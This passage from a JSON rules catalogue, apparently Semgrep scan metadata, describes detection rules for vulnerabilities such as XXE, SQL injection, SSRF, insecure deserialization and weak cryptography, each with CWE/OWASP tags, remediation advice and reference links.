$PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe","id":"java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe","name":"java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint","id":"go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint","name":"go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","id":"python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","name":"python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used as the 'src' in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent malicious URLs from being injected and could results in a cross-site scripting (XSS) vulnerability. Prefer not to dynamically generate the 'src' attribute and use static URLs instead. If you must do this, carefully check URLs against an allowlist and be sure to URL-encode the result."},"help":{"markdown":"Detected a template variable used as the 'src' in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent malicious URLs from being injected and could results in a cross-site scripting (XSS) vulnerability. Prefer not to dynamically generate the 'src' attribute and use static URLs instead. If you must do this, carefully check URLs against an allowlist and be sure to URL-encode the result.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src)\n - [https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)\n - [https://github.com/ESAPI/owasp-esapi-js](https://github.com/ESAPI/owasp-esapi-js)\n","text":"Detected a template variable used as the 'src' in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent malicious URLs from being injected and could results in a cross-site scripting (XSS) vulnerability. Prefer not to dynamically generate the 'src' attribute and use static URLs instead. If you must do this, carefully check URLs against an allowlist and be sure to URL-encode the result."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src","id":"javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src","name":"javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection","id":"javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection","name":"javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"help":{"markdown":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown)\n","text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access","id":"ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access","name":"ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"String-formatted SQL query detected. This could lead to SQL injection if the string is not sanitized properly. Audit this call to ensure the SQL is not manipulable by external data."},"help":{"markdown":"String-formatted SQL query detected. This could lead to SQL injection if the string is not sanitized properly. Audit this call to ensure the SQL is not manipulable by external data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.database.string-formatted-query.string-formatted-query)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"String-formatted SQL query detected. This could lead to SQL injection if the string is not sanitized properly. Audit this call to ensure the SQL is not manipulable by external data."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.database.string-formatted-query.string-formatted-query","id":"go.lang.security.audit.database.string-formatted-query.string-formatted-query","name":"go.lang.security.audit.database.string-formatted-query.string-formatted-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.database.string-formatted-query.string-formatted-query"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list."},"help":{"markdown":"User data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.os-system-injection.os-system-injection)\n - [https://owasp.org/www-community/attacks/Command_Injection](https://owasp.org/www-community/attacks/Command_Injection)\n","text":"User data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.os-system-injection.os-system-injection","id":"python.flask.security.injection.os-system-injection.os-system-injection","name":"python.flask.security.injection.os-system-injection.os-system-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.os-system-injection.os-system-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of the 'blocksize' argument in a HTTPConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below."},"help":{"markdown":"Found usage of the 'blocksize' argument in a HTTPConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-httpconn)\n","text":"Found usage of the 'blocksize' argument in a HTTPConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-httpconn","id":"python.lang.compatibility.python37.python37-compatibility-httpconn","name":"python.lang.compatibility.python37.python37-compatibility-httpconn","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-httpconn"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY."},"help":{"markdown":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ecb-cipher.ecb-cipher)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ecb-cipher.ecb-cipher","id":"java.lang.security.audit.crypto.ecb-cipher.ecb-cipher","name":"java.lang.security.audit.crypto.ecb-cipher.ecb-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ecb-cipher.ecb-cipher"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask","id":"python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask","name":"python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.jwt-none-alg.jwt-python-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/python.jwt.security.jwt-none-alg.jwt-python-none-alg","id":"python.jwt.security.jwt-none-alg.jwt-python-none-alg","name":"python.jwt.security.jwt-none-alg.jwt-python-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.jwt-none-alg.jwt-python-none-alg"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This rule has been deprecated, as all s3 buckets are encrypted by default with no way to disable it. See https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket_server_side_encryption_configuration for more info."},"help":{"markdown":"This rule has been deprecated, as all s3 buckets are encrypted by default with no way to disable it. See https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket_server_side_encryption_configuration for more info.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#server_side_encryption_configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#server_side_encryption_configuration)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucket-encryption.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucket-encryption.html)\n","text":"This rule has been deprecated, as all s3 buckets are encrypted by default with no way to disable it. See https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket_server_side_encryption_configuration for more info."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket","id":"terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket","name":"terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"help":{"markdown":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors)\n - [https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Access-Control-Allow-Origin](https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Access-Control-Allow-Origin)\n","text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"helpUri":"https://semgrep.dev/r/php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors","id":"php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors","name":"php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors","properties":{"precision":"very-high","tags":["CWE-346: Origin Validation Error","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5)\n - [https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms](https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5","id":"python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5","name":"python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it 